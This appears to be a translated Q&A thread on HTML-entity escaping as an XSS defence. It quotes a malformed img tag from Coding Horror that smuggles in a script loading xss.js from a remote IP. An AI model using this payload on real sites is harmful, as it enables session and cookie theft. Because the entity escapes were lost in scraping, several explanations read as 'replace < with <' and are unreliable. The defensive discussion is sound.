来自http://www.codinghorror.com/blog/2008/08/protecting-your-cookies-httponly.html:
这是怎么发生的?当然是XSS。这一切都始于将这一点脚本添加到用户的个人资料页面。
<img src=""http://www.a.com/a.jpg<script type=text/javascript src="http://1.2.3.4:81/xss.js">" /><<img src=""http://www.a.com/a.jpg</script>"
在该片段之上,他正在谈论将所有<
替换为<
所以基本上如果用户写了像
这样的东西<img src=""http://www.a.com/a.jpg<script type=text/javascript
src="http://1.2.3.4:81/xss.js">" /><<img
src=""http://www.a.com/a.jpg</script>
我不明白为什么我们只需要搜索字符&
并将其替换为&
,然后搜索<
并替换它就能使用XSS与<
答案 0 :(得分:1)
Jeff Atwood谈论的问题是允许使用某些HTML标记的地方。在他的情况下,他允许<img>
标签。在鬼鬼祟祟的XSS攻击中,破解者使用图像标记,但也将一些javascript转储到其中。
因为Jeff的清洁剂允许<img>
(以及它的属性),所以它跳过了清除<script>
标记(可能是因为它忽略了<img>
标记内的所有内容)。
如果您将<
的{strong>单个实例替换为<
,依此类推,那么它应该是干净的。然而,要重新描述阿特伍德先生的一篇文章,“你不能只是破坏每一件可疑的东西。”
答案 1 :(得分:1)
用<
替换<
会使标记成为标准字符串,因为它不再是标记,因为它始于<
而不是<
。
例如,<div>
是标记,而<div>
则不是;它只是一个字符串。这意味着任何<script>
标记都被解析为字符串,从而阻止了XSS。用&
替换&
将停止在XSS URL中正确解析的参数(例如,www.url.com/index.php?foo=bar&bar=zip
将变为www.url.com/index.php?foo=bar&bar=zip
),这不是有效的URI。
当然,这些重要的努力并不是全部而是最终的结果;与任何安全实施一样,会有解决方法。
答案 2 :(得分:0)
我相信(如果错误请纠正我,因为安全性 HARD ;))。大多数情况下,问题是开发人员正在使用blacklists instead of whitelists。当您像往常一样转义每个标记时,就无法输出任何HTML。但是我认为你可以使用像markdown这样的东西来生成HTML。